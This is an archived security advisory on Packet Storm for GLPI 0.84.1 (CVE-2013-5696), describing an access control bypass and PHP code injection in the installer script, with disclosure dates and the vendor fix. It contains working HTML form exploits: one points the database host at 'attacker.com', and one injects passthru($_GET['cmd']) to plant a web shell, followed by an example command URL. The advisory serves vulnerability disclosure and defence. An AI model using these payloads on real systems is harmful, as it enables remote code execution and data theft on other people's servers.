exploit the possibilities

GLPI 0.84.1 Access Control / Code Injection

GLPI 0.84.1 Access Control / Code Injection
Posted Oct 2, 2013
Authored by High-Tech Bridge SA | Site htbridge.com

GLPI version 0.84.1 suffers from improper access control bypass and PHP code injection vulnerabilities.

tags | exploit, php, vulnerability
advisories | CVE-2013-5696
MD5 | 111f2e2c481378f2a0a512d1963e88a1

GLPI 0.84.1 Access Control / Code Injection

Change Mirror Download
Advisory ID: HTB23173
Product: GLPI
Vendor: INDEPNET
Vulnerable Version(s): 0.84.1 and probably prior
Tested Version: 0.84.1
Advisory Publication: September 11, 2013 [without technical details]
Vendor Notification: September 11, 2013
Vendor Patch: September 12, 2013
Public Disclosure: October 2, 2013
Vulnerability Type: Improper Access Control [CWE-284],Code Injection [CWE-94]
CVE Reference: CVE-2013-5696
Risk Level: Critical
CVSSv2 Base Scores: 6.4 (AV:N/AC:L/Au:N/C:N/I:P/A:P), 10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in GLPI, which can be exploited to bypass security restrictions and execute arbitrary PHP code with privileges of web server.


1) Improper Access Control in GLPI

The vulnerability exists due to insufficient access restrictions to the installation script "/install/install.php", which is present by default after application installation. A remote attacker can change application’s configuration, such as database host, forcing the application to connect to an external database and spoof information on the website, obtain access to sensitive information or simply cause a denial of service.

Simple exploit below changes the database hostname to "attacker.com", which forces the application to connect to a malicious database controlled by the attacker:


<form action="http://[host]/install/install.php" method="post" name="main">
<input type="hidden" name="install" value="update_1">
<input type="hidden" name="db_host" value="attacker.com">
<input type="submit" id="btn">
</form>



2) Arbitrary PHP Code Injection in GLPI

The vulnerability exists due to insufficient validation of user-supplied input passed to the "db_host", "db_user", "db_pass", and "databasename" HTTP POST parameters via "/install/install.php" script [that is present by default after application installation] before writing data into "/config_db.php" file. A remote attacker can inject and execute arbitrary PHP code on the vulnerable system.

Simple exploit below injects "passthru($_GET['cmd'])" PHP code into "config_db.php" file allowing a remote attacker to execute arbitrary system command with privileges of the web server:


<form action="http://[host]/install/install.php" method="post" name="main">
<input type="hidden" name="install" value="update_1">
<input type="hidden" name="db_host" value="'; } passthru($_GET['cmd']); /*">
<input type="submit" id="btn">
</form>


After that attacker can access the web shell to execute system commands via the following URL:
http://[host]/index.php?cmd=ls -la; id; pwd;


-----------------------------------------------------------------------------------------------

Solution:

Update to GLPI 0.84.2

More Information:
http://www.glpi-project.org/spip.php?page=annonce&id_breve=307&lang=fr
https://forge.indepnet.net/issues/4480

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23173 - https://www.htbridge.com/advisory/HTB23173 - Multiple Vulnerabilities in GLPI.
[2] GLPI - http://www.glpi-project.org - GLPI is the Information Resource-Manager with an additional Administration-Interface.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
Login or Register to add favorites

File Archive:

January 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    0 Files
  • 3
    Jan 3rd
    20 Files
  • 4
    Jan 4th
    4 Files
  • 5
    Jan 5th
    37 Files
  • 6
    Jan 6th
    20 Files
  • 7
    Jan 7th
    4 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    0 Files
  • 10
    Jan 10th
    18 Files
  • 11
    Jan 11th
    8 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    31 Files
  • 14
    Jan 14th
    2 Files
  • 15
    Jan 15th
    2 Files
  • 16
    Jan 16th
    2 Files
  • 17
    Jan 17th
    18 Files
  • 18
    Jan 18th
    13 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    29 Files
  • 21
    Jan 21st
    12 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    17 Files
  • 25
    Jan 25th
    34 Files
  • 26
    Jan 26th
    23 Files
  • 27
    Jan 27th
    24 Files
  • 28
    Jan 28th
    14 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close